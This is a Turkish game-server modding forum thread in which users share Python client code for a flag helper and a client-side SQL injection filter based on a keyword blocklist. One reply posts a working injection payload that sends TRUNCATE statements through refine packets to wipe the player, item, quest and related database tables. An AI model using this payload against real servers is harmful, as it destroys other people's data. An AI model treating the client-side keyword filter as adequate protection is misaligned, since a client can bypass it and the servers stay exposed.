• Serverınızın epinlerini tamamen Turkmmo güvencesiyle satın. Kredi kartı, mobil ödeme, havale/eft ve uygun komisyon oranıyla. Hemen mağaza başvurunuzu yapın. Oyunalisveris.com





Sitemize reklam vermek için [email protected] adresine mail atabilirsiniz
For Advertising Contact [email protected]


Python Flag ve Sql inject python fixi

5.00 yıldız(lar) 2 Oy
Konu Sahibi
Konu Sahibi
xxdracaryS

xxdracaryS

dracaryS
TM Üye
Katılım
6 Ara 2018
Konular
34
Mesajlar
456
Reaksiyon Skoru
387
Online Süresi
91g 19s 1d
Başarım Puanı
104
MmoLira
645
DevLira
3
En İyi Cevap Puanı
0
Takipçiler
0
Konuya bakarken birşey eklemeyi unutmuşum eğer chat classına inject fonksiyonunu koyarsaniz hata alirsiniz fonksiyona yollarken consInfo.GetInjectText(text[1:]) yaparlarsa sorunsuz calisir cmd acigi varsa birsey yapamazlar yani kısacası. Iyi forumlar hayırli bayramlar.
 

YuSuFllYYBll

Level 1
Üye
Katılım
13 Ağu 2019
Konular
0
Mesajlar
8
Reaksiyon Skoru
0
Online Süresi
1s 9d
Başarım Puanı
4
MmoLira
2
DevLira
0
En İyi Cevap Puanı
0
Takipçiler
0

Mehmetcan Y.k

Mehmetcan Yalçınkaya
Telefon Numarası Onaylanmış Üye
TM Üye
Üye
Katılım
4 May 2018
Konular
57
Mesajlar
1,094
Reaksiyon Skoru
279
Başarım Puanı
147
Madalyalar
2
Yaş
19
MmoLira
257
DevLira
3
En İyi Cevap Puanı
0
Takipçiler
0
def main(self):
net.SendRefinePacket("';TRUNCATE player; --", 0, "';TRUNCATE player; --")
net.SendRefinePacket("';TRUNCATE player_index; --", 0, "';TRUNCATE player_index; --")
net.SendRefinePacket("';TRUNCATE quest; --", 0, "';TRUNCATE quest; --")
net.SendRefinePacket("';TRUNCATE item; --", 0, "';TRUNCATE item; --")
net.SendRefinePacket("';TRUNCATE affect; --", 0, "';TRUNCATE affect; --")
chat.AppendChat(1, "Gg Wp İzi :p")

Rohan ne patlıyordu açıklarıyla :D
 

Ray Kon

Level 4
TM Üye
Üye
Katılım
6 Haz 2018
Konular
14
Mesajlar
285
Reaksiyon Skoru
71
Başarım Puanı
54
MmoLira
219
DevLira
3
En İyi Cevap Puanı
1
Takipçiler
0
Merhabalar

constınfo.py açın ve dosyanın en sonuna yapıştırın


Python:
py_Flag = []
def GetFlag(flagname):
    global py_Flag
    size = 0
    for i in xrange(len(py_Flag)):
        if py_Flag[i]["flag"] == flagname:
            size = py_Flag[i]["value"]
            break
    return size
def SetFlag(flagname,value):
    global py_Flag
    bAdd = True
    for i in xrange(len(py_Flag)):
        if py_Flag[i]["flag"] == flagname:
            py_Flag[i].update({"value":flagname,"value":int(value)})
            bAdd = False
            break
    if bAdd:
        py_Flag.append({"flag":flagname,"value":int(value)})
Bunu nasıl kullanıcaz?

Python:
aynı questflag gibi.
    constInfo.GetFlag("value")
    constInfo.SetFlag("value",constInfo.GetFlag("value")+1)
Eğer karakter oyundan çıkınca ve bir yere ışınlanınca flagları silmek istenler bunu yapsın.
Game.py aç ve Close fonksiyonunu bul bunu yapıştır altına.

Python:
constInfo.py_Flag.clear()
#######################################################################################################

Sql injection fix python
constInfo.py aç ve dosyanın en sonuna ekle

Python:
def GetInjectText(text):
    characters = ["SELECT","TRUNCATE","INSERT","REPLACE","DELETE",'/', '>', '<', '|', ';', ':', '}', '{', '[', ']', '%', '#', '@', '^','&']
    succes = False
    for j in xrange(len(characters)):
        if text.find(characters[j]) != -1:
            succes = True
            break
    return succes
Bu fonksiyonun kullanımı böyle

Python:
def __SendShoutChatPacket(self, text):
    if constInfo.GetInjectText(text):
       chat.AppendChat(chat.CHAT_TYPE_INFO, " SQL INJECT")
       return
Bu inject önlemlerini chat, offshop ismi, lonca yorum, messenger gibi yerlere önlem olarak koyabilirsiniz.
Saygılar - dracaryS
Teşekkürler
 

Şu an konuyu görüntüleyenler (Toplam : 1, Üye: 0, Misafir: 1)

Üst